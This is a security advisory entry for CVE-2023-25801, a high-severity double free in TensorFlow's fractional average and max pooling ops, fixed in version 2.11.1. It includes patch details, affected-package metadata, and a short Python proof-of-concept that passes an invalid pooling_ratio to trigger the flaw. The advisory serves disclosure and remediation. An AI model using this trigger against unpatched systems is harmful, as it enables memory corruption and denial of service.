ghsa-f49c-87jh-g47q
Vulnerability from github
Impact
nn_ops.fractional_avg_pool_v2 and nn_ops.fractional_max_pool_v2 require the first and fourth elements of their parameter pooling_ratio to be equal to 1.0, as pooling on batch and channel dimensions is not supported.
python
import tensorflow as tf
import os
import numpy as np
from tensorflow.python.ops import nn_ops
try:
arg_0_tensor = tf.random.uniform([3, 30, 50, 3], dtype=tf.float64)
arg_0 = tf.identity(arg_0_tensor)
arg_1_0 = 2
arg_1_1 = 3
arg_1_2 = 1
arg_1_3 = 1
arg_1 = [arg_1_0,arg_1_1,arg_1_2,arg_1_3,]
arg_2 = True
arg_3 = True
seed = 341261001
out = nn_ops.fractional_avg_pool_v2(arg_0,arg_1,arg_2,arg_3,seed=seed,)
except Exception as e:
print("Error:"+str(e))
Patches
We have patched the issue in GitHub commit ee50d1e00f81f62a4517453f721c634bbb478307.
The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability was reported by dmc1778, of nimashiri2012@gmail.com.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25801"
],
"database_specific": {
"cwe_ids": [
"CWE-415"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-24T21:53:49Z",
"nvd_published_at": "2023-03-25T00:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n`nn_ops.fractional_avg_pool_v2` and `nn_ops.fractional_max_pool_v2` require the first and fourth elements of their parameter `pooling_ratio` to be equal to 1.0, as pooling on batch and channel dimensions is not supported.\n\n```python\nimport tensorflow as tf\nimport os\nimport numpy as np\nfrom tensorflow.python.ops import nn_ops\ntry:\n arg_0_tensor = tf.random.uniform([3, 30, 50, 3], dtype=tf.float64)\n arg_0 = tf.identity(arg_0_tensor)\n arg_1_0 = 2\n arg_1_1 = 3\n arg_1_2 = 1\n arg_1_3 = 1\n arg_1 = [arg_1_0,arg_1_1,arg_1_2,arg_1_3,]\n arg_2 = True\n arg_3 = True\n seed = 341261001\n out = nn_ops.fractional_avg_pool_v2(arg_0,arg_1,arg_2,arg_3,seed=seed,)\nexcept Exception as e:\n print(\"Error:\"+str(e))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ee50d1e00f81f62a4517453f721c634bbb478307](https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability was reported by [dmc1778](https://github.com/dmc1778), of [nimashiri2012@gmail.com](mailto:nimashiri2012@gmail.com).\n",
"id": "GHSA-f49c-87jh-g47q",
"modified": "2023-03-27T21:23:48Z",
"published": "2023-03-24T21:53:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f49c-87jh-g47q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25801"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "TensorFlow has double free in Fractional(Max/Avg)Pool"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.